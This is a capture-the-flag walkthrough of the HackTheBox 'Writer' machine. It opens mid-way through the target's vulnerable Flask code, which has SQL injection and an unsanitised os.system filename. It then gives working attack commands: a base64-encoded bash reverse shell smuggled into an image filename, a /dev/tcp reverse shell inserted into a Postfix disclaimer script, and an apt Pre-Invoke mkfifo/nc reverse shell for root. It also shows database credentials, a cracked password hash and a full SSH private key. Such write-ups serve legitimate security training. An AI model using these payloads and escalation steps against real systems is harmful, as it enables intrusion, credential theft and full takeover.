	results = cursor.fetchall()
	if request.files['image']:
	    image = request.files['image']
	    if ".jpg" in image.filename:
		path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
		image.save(path)
		image = "/img/{}".format(image.filename)
		cursor = connector.cursor()
		cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
		result = connector.commit()
	    else:
		error = "File extensions must be in .jpg!"
		return render_template('edit.html', error=error, results=results, id=id)
	if request.form.get('image_url'):
	    image_url = request.form.get('image_url')
	    if ".jpg" in image_url:
		try:
		    local_filename, headers = urllib.request.urlretrieve(image_url)
		    os.system("mv {} {}.jpg".format(local_filename, local_filename))
		    image = "{}.jpg".format(local_filename)
		    try:
			im = Image.open(image) 
			im.verify()
			im.close()
			image = image.replace('/tmp/','')
			os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
			image = "/img/{}".format(image)
			cursor = connector.cursor()
			cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
			result = connector.commit()

		    except PIL.UnidentifiedImageError:
			os.system("rm {}".format(image))
			error = "Not a valid image file!"
			return render_template('edit.html', error=error, results=results, id=id)
		except:
		    error = "Issue uploading picture"
		    return render_template('edit.html', error=error, results=results, id=id)
	    else:
		error = "File extensions must be in .jpg!"
		return render_template('edit.html', error=error, results=results, id=id)
	title = request.form.get('title')
	tagline = request.form.get('tagline')
	content = request.form.get('content')
	cursor = connector.cursor()
	cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
	result = connector.commit()
	return redirect('/dashboard/stories')

    else:
	cursor = connector.cursor()
	cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
	results = cursor.fetchall()
	return render_template('edit.html', results=results, id=id)

@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    if request.method == "POST":
	cursor = connector.cursor()
	cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
	result = connector.commit()
	return redirect('/dashboard/stories')
    else:
	cursor = connector.cursor()
	cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
	results = cursor.fetchall()
	return render_template('delete.html', results=results, id=id)

#Define user page for dashboard
@app.route('/dashboard/users')
def users():
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	return "Database Error"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM users;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('users.html', results=results)

#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	return "Database Error!"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM site WHERE id = 1"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('settings.html', results=results)

#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
    if ('user' in session):
	return redirect('/dashboard')
    if request.method == "POST":
	username = request.form.get('uname')
	password = request.form.get('password')
	password = hashlib.md5(password.encode('utf-8')).hexdigest()
	try:
	    connector = connections()
	except mysql.connector.Error as err:
	    return ("Database error")
	try:
	    cursor = connector.cursor()
	    sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
	    cursor.execute(sql_command)
	    results = cursor.fetchall()
	    for result in results:
		print("Got result")
	    if result and len(result) != 0:
		session['user'] = username
		return render_template('success.html', results=results)
	    else:
		error = "Incorrect credentials supplied"
		return render_template('login.html', error=error)
	except:
	    error = "Incorrect credentials supplied"
	    return render_template('login.html', error=error)
    else:
	return render_template('login.html')

@app.route("/logout")
def logout():
    if not ('user' in session):
	return redirect('/')
    session.pop('user')
    return redirect('/')

if __name__ == '__main__':
   app.run("0.0.0.0")
```

WOAH it's a long file so let's just glaze through it and see if we can find something intresting.

Just looking at the imported library we can see that it is importing OS so that's intresting so just look for the instance of OS only to see if we have code execution somewhere.

Looking for os.system which basically executes the bash commands we find this piece of code.

``` python
if request.form.get('image_url'):
	    image_url = request.form.get('image_url')
	    if ".jpg" in image_url:
		try:
		    local_filename, headers = urllib.request.urlretrieve(image_url)
		    os.system("mv {} {}.jpg".format(local_filename, local_filename))
		    image = "{}.jpg".format(local_filename)
		    try:
			im = Image.open(image)
			im.verify()
			im.close()
			image = image.replace('/tmp/','')
			os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
			image = "/img/{}".format(image)
		    except PIL.UnidentifiedImageError:
			os.system("rm {}".format(image))
			error = "Not a valid image file!"
			return render_template('add.html', error=error)
```

So looks like we have command injection in the name of the image as it is sending the filename directly to system command without sanatizing it but we have to be careful about the speacial chars so it doesn't break the command in between so I will base64 encode it to be safe.

#### Generating file with malicious name

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.31/2233 0>&1'" | base64                                                        
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8yMjMzIDA+JjEn
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# touch '1.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8yMjMzIDA+JjEn | base64 -d | bash `;'
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# ls
'1.jpg; `echo YmFzaCAtYyAnYmFz<---SNIP--->= | base64 -d | bash `;'   ffuf.log      me.jpg      nmap.nmap   sqlmap.log
 enum4linux.log                                                                                             intial.nmap   nikto.log   r.txt       user.txt
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─#
```

Now that we have that file we have to upload it but before doing that start your nc listener.
So now pick any of exsisting story and edit it and change the image file with your image file.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2060.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2061.jpg)

After you did that then you have to trigger that mv {} {} command by going to edit and changing the image url.
Now intercept the the edit of the same story with the burp.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2062.jpg)

Now change the higlighted feild with the name of the malicious file.

But you have to give the local location of the filename so you know the base directory of the installation and from ffuf directorty fuzzing above we know that images are saved in /static.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2063.jpg)

and boom you can see our file so let's write a local path for this file.

``` bash
file:///var/www/writer.htb/writer/static/img/1.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8yMjMzIDA+JjEn | base64 -d | bash `;#
```

so let's change this as image url and add '#' sign at end so it ignores everything after our commands get executed.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2064.jpg)

And boom we have the REVSHELL.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# nc -lvp 2233
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2233
Ncat: Listening on 0.0.0.0:2233
Ncat: Connection from 10.10.11.101.
Ncat: Connection from 10.10.11.101:42662.
bash: cannot set terminal process group (1061): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ id

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@writer:/$ 
www-data@writer:/$ whoami
whoami
www-data
```

#### Getting user
#### Enumeration

Looking for services just on localhost

#### ss -tupln

``` bash
ss -tupln
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process                                                                         
udp     UNCONN   0        0          127.0.0.53%lo:53            0.0.0.0:*                                                                                      
udp     UNCONN   0        0           10.10.11.255:137           0.0.0.0:*                                                                                      
udp     UNCONN   0        0           10.10.11.101:137           0.0.0.0:*                                                                                      
udp     UNCONN   0        0                0.0.0.0:137           0.0.0.0:*                                                                                      
udp     UNCONN   0        0           10.10.11.255:138           0.0.0.0:*                                                                                      
udp     UNCONN   0        0           10.10.11.101:138           0.0.0.0:*                                                                                      
udp     UNCONN   0        0                0.0.0.0:138           0.0.0.0:*                                                                                      
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*                                                                                      
tcp     LISTEN   0        50               0.0.0.0:139           0.0.0.0:*                                                                                      
tcp     LISTEN   0        10             127.0.0.1:8080          0.0.0.0:*       users:(("python3",pid=3262,fd=4))                                              
tcp     LISTEN   0        4096       127.0.0.53%lo:53            0.0.0.0:*                                                                                      
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*                                                                                      
tcp     LISTEN   0        100            127.0.0.1:25            0.0.0.0:*                                                                                      
tcp     LISTEN   0        50               0.0.0.0:445           0.0.0.0:*                                                                                      
tcp     LISTEN   0        50                  [::]:139              [::]:*                                                                                      
tcp     LISTEN   0        511                    *:80                  *:*                                                                                      
tcp     LISTEN   0        128                 [::]:22               [::]:*                                                                                      
tcp     LISTEN   0        50                  [::]:445              [::]:*     
```

So we have mysql db so let's try to read it's conf files.

``` bash
www-data@writer:$ cd /etc/mysql
www-data@writer:/etc/mysql$ ls
conf.d
debian-start
debian.cnf
mariadb.cnf
mariadb.conf.d
my.cnf
my.cnf.fallback
www-data@writer:/etc/mysql$ cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
```

we have username and password to login so let's try that.

``` sql
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p 
DjangoSuperPassword

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 49
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dev]> show databases;
+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [dev]> use dev;
Database changed
MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.001 sec)

MariaDB [dev]> SELECT * FROM auth_user;
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| id | password                                                                                 | last_login | is_superuser | username | first_name | last_name | email           | is_staff | is_active | date_joined                |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
|  1 | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | NULL       |            1 | kyle     |            |           | kyle@writer.htb |        1 |         1 | 2021-05-19 12:41:37.168368 |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
1 row in set (0.001 sec)
```

So we have kyle hash now let's try to crack it.

``` bash
kali@kali:~/HackTheBox/Writer$ hashcat -a 0 -m 10000 hash --wordlist /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Pentium(R) CPU  N3700  @ 1.60GHz, 1392/1456 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Django (PBKDF2-SHA256)
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
Time.Started.....: Thu Aug  5 02:46:45 2021 (18 mins, 29 secs)
Time.Estimated...: Thu Aug  5 03:05:14 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        8 H/s (3.11ms) @ Accel:32 Loops:128 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9408/14344385 (0.07%)
Rejected.........: 0/9408 (0.00%)
Restore.Point....: 9344/14344385 (0.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259968-259999
Candidates.#1....: jodete -> 120287

Started: Thu Aug  5 02:46:39 2021
Stopped: Thu Aug  5 03:05:16 2021
```
and we have the password let's ssh as kyle.

#### Kyle to John

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# ssh kyle@writer.htb
The authenticity of host 'writer.htb (10.10.11.101)' can't be established.
ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'writer.htb' (ECDSA) to the list of known hosts.
kyle@writer.htb's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri  6 Aug 08:33:05 UTC 2021

  System load:           0.18
  Usage of /:            64.5% of 6.82GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             258
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.101
  IPv6 address for eth0: dead:beef::250:56ff:feb9:a196


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have new mail.
Last login: Fri Aug  6 04:49:11 2021 from 10.10.14.4
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ whoami
kyle
kyle@writer:~$ cat user.txt 
49b120a997fc7fdd05ad84575c2f5477
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2065.jpg)

#### Enumeration
#### Pspy64

``` bash
pipe -n dfilt -t unix flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient} 
/bin/sh /etc/postfix/disclaimer -f kyle@writer.htb -- kyle@writer.htb
python3 sendmail.py
```

This were the few intresting thing from pspy64 so now let's understand how sendmail works.
There are few files we have to check to understand what is happening around so first let's check disclaimer.

```bash
kyle@writer:~$ cat disclaimer
#!/bin/bash
# Localize these.

INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?
```

Looks like we have a bash script that gets executed to get some sanity checks when we send a mail so let's add a revshell line in it and then trigger it.

EDITED DISCLAIMER FILE.

``` bash
kyle@writer:~$ cat disclaimer
#!/bin/bash
# Localize these.

bash -i &>/dev/tcp/10.10.14.31/1234 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?
```

Now let's copy this file to /etc/postfix.
And then try to send mail you can do it manually using nc and telnet.

``` bash
kyle@writer:/dev/shm$ cp disclaimer /etc/postfix/disclaimer
kyle@writer:/dev/shm$ nc 127.0.0.1 25
220 writer.htb ESMTP Postfix (Ubuntu)
HELO writer.htb                
250 writer.htb
MAIL FROM: kyle@writer.htb
250 2.1.0 Ok
RCPT TO: john@writer.htb
250 2.1.5 Ok
DATA
From: kyle@writer.htb
To: john@writer.htb
Subject: Test
Date: Thu, 20 Dec 2012 12:00:00 +0000

Testing
.354 End data with <CR><LF>.<CR><LF>

250 2.0.0 Ok: queued as 41B40838
QUIT
221 2.0.0 Bye
EXIT
kyle@writer:/dev/shm$ 
```

But to be fast and not doing it repeatedly I wrote a simple python script to do this stuff for me.

 - send.py

``` python
#!/usr/bin/env python3

import smtplib

host = '127.0.0.1'
port = 25

From = 'kyle@writer.htb'
To = 'john@writer.htb'

Message = '''\
        Subject: HI THERE! JOHN

        OOPS I GOT YOU MATE.
'''

try:
        io = smtplib.SMTP(host,port)
        io.ehlo()
        io.sendmail(From,To,Message)
except Exceptions as e:
        print (e)
finally:
        io.quit()
```

and then run the following command.

``` bash
kyle@writer:/tmp$ cp disclaimer /etc/postfix/disclaimer && python3 send.py
```

the disclaimer is the edited disclaimer file and then sending mail.
and boom we have shell as john.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# nc -lvp 1234                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.101.
Ncat: Connection from 10.10.11.101:47120.
bash: cannot set terminal process group (13385): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ id
id
uid=1001(john) gid=1001(john) groups=1001(john)
john@writer:/var/spool/postfix$ whoami
whoami
john
```

#### PrivESC
#### Stabilizing the shell

``` bash
john@writer:/var/spool/postfix$ cd /home/john
john@writer:/var/spool/postfix$ ls -al
drwxr-xr-x 4 john john 4096 Aug  5 10:19 .
drwxr-xr-x 4 root root 4096 Jul  9 10:59 ..
lrwxrwxrwx 1 root root    9 May 19 22:20 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 May 14 18:19 .bash_logout
-rw-r--r-- 1 john john 3771 May 14 18:19 .bashrc
drwx------ 2 john john 4096 Jul 28 09:19 .cache
-rw-r--r-- 1 john john  807 May 14 18:19 .profile
drwx------ 2 john john 4096 Jul  9 12:29 .ssh
-rw------- 1 john john 2751 Aug  5 10:19 .viminfo
john@writer:/var/spool/postfix$ cd .ssh
john@writer:/var/spool/postfix$ ls
authorized_keys
id_rsa
id_rsa.pub
john@writer:/var/spool/postfix$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Now we have john ssh so let's login as john

``` bash
kali@kali:~/HackTheBox/Writer$ ssh -i id_rsa john@writer.htb 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Aug  5 13:36:13 2021 from 10.10.14.59
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
```

#### Enumeration

We can see that we are in management group so let's see what files and directory we can access.

``` bash
john@writer:/etc/apt$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
```

oh this is intresting.

searching for 'writable files in /etc/apt/apt.conf.d privESC' in google we can find the below article which explains gretaly what we have to do to abuse that for privESC.

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

Looking through the article there should be something running 'sudo apt-get update' command so let's see if there is anything running that command using pspy64.

``` bash
john@writer:/home/kyle$ ./pspy64s -pf -i 1000 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
<--SNIP-->
2021/08/05 16:51:06 CMD: UID=0    PID=374426 | /usr/bin/apt-get update
2021/08/05 16:51:06 CMD: UID=0    PID=374417 | /usr/bin/apt-get update
2021/08/05 16:51:06 CMD: UID=0    PID=374411 | /bin/sh -c /usr/bin/apt-get update
2021/08/05 16:51:06 CMD: UID=0    PID=374406 | /usr/sbin/CRON -f
<--SNIP-->
```

So now we have the prerequiste satify so we can start with exploitation.

#### Exploitation

so we have can create a malicious line in /etc/apt/apt.conf.d/ to get command execution so let's do that before that spin up the listener on your fav port.

And the let's create a file that gets us the reverse shell.

``` bash
john@writer:~$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.31 2234 >/tmp/f"};' > /etc/apt/apt.conf.d/oops
```

and boom we have the shell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# nc -lvp 2234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::2234
Ncat: Listening on 0.0.0.0:2234
Ncat: Connection from 10.10.11.101.
Ncat: Connection from 10.10.11.101:35406.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
